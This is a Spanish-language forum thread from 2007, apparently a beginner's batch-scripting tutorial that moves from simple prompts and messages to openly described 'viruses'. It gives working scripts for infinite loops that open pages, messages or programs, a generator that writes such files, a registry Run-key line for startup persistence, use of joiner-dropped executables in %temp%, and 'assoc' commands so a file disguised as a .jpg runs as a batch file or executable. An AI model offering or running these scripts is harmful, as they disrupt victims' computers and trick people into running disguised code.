tuto batch para principiante(en contruccion)

Iniciado por krackwar, 25 Diciembre 2007, 23:53 PM

0 Miembros y 1 Visitante están viendo este tema.

krackwar

ola, no se donde va esto pero este fue el lugar mas indicado que encontre para ponerlo bueno si va en otro lado los moderadores lo cambiaran.
empesemos.

bueno batch komo ustedes sabran es lo mismo que ms-dos las preguntas que se pueden hacer son las siguientes
¿como creo un archivo batch ?
bueno esto se puede hacer escribiendo todo lo que kontendra el batch en bloc de notas i depues poner guardar como i en nombre poner nombredelarchivo.bat o nombredel archivo.cmd desde windows 2000 para arriba(nome acuerdo bien si es del 200 para arriba o desde el xp)
¿por que se guarda como archivo.bat i no archivo.batch?
bueno esto es por que en la consola de ms-dos no se pude poner mas de 3 letras en la extensión i x esto desidieron poner las 3 primeras letras de batch osea bat
¿este idioma de programacion es bueno para empezar?
si,este idioma no es mui complicado por lo que es un buen idioma para empezar a programar despues de manojar este recomiendo seguir con visual basic.
¿que es lo que se puede hacer con este idioma?
puedezs hacer desde una encuesta asta editar el registro
¿se pueden hacer troyanos con batch?
no, no se puede pero se puede hacer artas cosas como virus, worms,etc...

bueno empecemos la guia

1º_ empecemos con algo facil como hacer una pregunta i ocupar la respuesta

@echo off
set /p respuesta=komo te llamas?
echo te llamas %respuesta%
pause
exit


explicaremos esto "echo off" se usa para que muestre sola la respuesta osea que no aparescan los comandos ej:si pones set /p rata=ola?va a mostar solo ola?
"set /p" se usa para establecer una variable osea si pones 

set /p respuesta=komo te llamas?

la varible es respuesta que esto va a ser = a lo que eskribas

ej:si escribes de respuesta ola raspuesta va hacer = a ola

esto lo puedes ocupar para poner un mensaje

ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo)

esto va a mostrar un mensage que dira tu nombre es i la respuesta que diste
ejemplo si diste de respuesta juan va a mostar

tu nombre es juan

(uno puede ocupar cualkier palabra emvves de respuesta)
ejemplo:puedes ocupar pollo i kedaria a si

set /p pollo=tu nombre es?
echo tu nombre es %pollo%

siempre asegurate de que sea la misma palabra
"pause" se ocupa para que la persona tenga que apretar una tecla para continuar
"exit" se ocupa para salir del programa

2º_ imventaremos un archivo que kree un archivo que si lo abres va a aparecer un mensaje diciendo ola
el codigo seria

@echo off
echo msg * ola>> mensaje.bat
exit

vamos a explicar
bueno la mayoria de la sintaxis ia la explique pero vamos a explicar lo que no explique
"echo msg * ola>> mensaje.bat"con esto digo que kree un programa que al abrirlo apareska un mensage esto se ase asi "echo lo que va a estar escrito dentro del archivo >>ruta/nombre del archivo.extension(si no se pone la ruta se crea el archivo en la misma ruta del archivo originalosea el creador).
3º_vamos a  unir el primer ejecicio con el segundo
este archivo lo que va hacer que kree un archivo que muestre un mensaje que diga lo que kieras kedaria asi:

@echo off
set /P mensaje=que kieres que diga el mensaje?
echo msg * %mensaje%>>msg2.bat
exit

bueno lo que ase es crear msg2.bat que diga msg * mensaje que kieres
i al ser .bat muestra el mensaje si kieres aaser mas completo esto puedes hacer esto:

@echo off
set /P mensaje=que kieres que diga el mensaje?
echo @echo off>>msg2.bat
echo msg * %mensaje%>>msg2.bat
echo exit>>msg2.bat
exit


esto lo que ase es crear el archivo i sobre escribirlo ia que no se puede hacer de esta manera:

set /P mensaje=que kieres que diga el mensaje?
echo @echo off
msg * %mensaje%
exit
>>msg2.bat
exit
:xD

4º_aora lo que vamos a hacer es un virus simple mas lamados bucle
este lo que ara es abrir una pagina consecutivamente esto kedaria asi:

@echo off
:pagina
start www.yelcho.cl
goto pagina

esto lo que dice es
":pagina" es como una "direccion" que se le asigna al comando siempre tiene que aver antes dela "direcion" ":" para que sepa el programa que es la "direccion" que se le asigna al comando
"start" es para iniciar algo por ejemplo en este caso dice start www.yelcho.clestodice que abra una ventana de internet  de la pagina www.yelcho.cl
"goto" significa ir a i al poner la "direccion" este va a esa "direccion"  en resumen abre www.yelcho.cl idespues ase que se repita la ccion infinitas veces
5º_creador de virus
este programa lo que ara sera crear un virus simple como el anterior klaro que dara opciones i con titulo
el kodigo kedaria asi:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

aki ai 2 comandos nuevos uno que es "cls" este se ocupa para limpiar la pantalla
i el otro que es "title" que se usa para ponerle titulo a el archivo e ej:

title "aki va el tiulo"

esto aii que ponerlo debajo del echo off ia que si no se be cuando escribe title "titulo"
i se ve feo :¬¬ .bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc...  ej para un mensaje :

@echo off
:mensage
start msg * "el mensaje kee kkieren "
goto mensaje

si kieren aserlo kon el  :

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

emves de poner la pagina pones msg * "el mensaje que kieres" o pueden aserle esta modificacion :

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start msg *  %car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

para ejecutar un aarchivo te tienes que saber la ruta del archivo o si ocupas un joiner i este descomprime los archivos en la carpeta de archivos temporales por ejemplo si usas un joimer i este descomprime los archivos en la carpeta temporal kedaria asi:

@echo off
:programa
start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe)
goto programa

si kieres aserlo con el creador seria:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo  %temp%/%car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

bueno explicare un poco que es %temp%, %temp% es la direccion de la carpeta donde se guardan los archivos temporales osea los que dura un tiempo x ejemplo kuando usas el word i no guardas nosierto que = esta tu archivo en archivo/nose.doc
bueno este archivo se almacena en la carpeta %temp%, bueno porke ponemos %TEMP% I NO SIMPLEMENTE TEMPORALES bueno esto es porke si kieres as3r esto tendrias que sabeerte toda la ruta i esta puede variar segun la pc.

bueno asi kedaria si ocuparas un joiner i si lo isieras normalmente te tendrias que saber la ruta del archivo
ej:

:programa2
ruta/arhivo
goto programa2

bueno i con el creador kedaria asi:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %car1%>>%name%.bat(OJO)
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit


Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

krackwar

#1
6º_bueno crearemos algo parecido al ej 4 pero estese iniciadra kada ves que se ejekute windows
el kode kedaria asi:

reg add hklm\software\microsoft\windows\currentversion\run /v b  /t reg_sz /d %0 /f
:bucle
start www.gooogle.com
goto bucle

explicare esto bueno reg add se ocupa kada ves que nesesitas agregar algo al registro
hklm\software\microsoft\windows\currentversion\run es la ruta del registro a la que se le agrega un reg_sz kon nombre b i kon kontenido %0(es la ruta del archivo del archivo ejecutado se pone %0 porke esto es = a la ruta del archivo ejecutado)
el /v en para poner el nombre el / t para elegir el tipo de dato ingresado al registro el /d es para el kontenido de el dato i el /f es para forsar a escribirlo lo otro antes de que se me olvide la ruta es la ruta en que estan los archivos que se inician kada ves que windows inicie


7º_emviar un batch con la extension .jpg
bueno lo que haremos como dice el titulo es que el batch tenga la extensiobn .jpg i que aun asi se ejecute como si fuera un .bat . Bueno para poder hacer esto la persona que le emvies el batch con la extension .jpg tiene que ejecutar un batch.bat antes que el code del batch.bat keddaria asi :

@echo off
assoc .jpg=batfile
exit

  bueno explicare un poko este code "assoc" se ocupa para asociar una extension a algo que puede ser a un programa para que el archivo se abra con ese programa o a un tipo de programa en este caso la estamos asociando a un batfile osea que se ejecute = como lo aria un bat bueno con ese code ya quedaria listo  para qque pudas ejecutar el batch.jpg i que se abra como un bat normaly no como un jpg .Esto mucha gente lo preguta otro ejemplo :

@echo off
assoc .jpg=exefile

hay asociariamos un archivo .jpg a exefile y ariamos que se ejecute como un .exe .
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.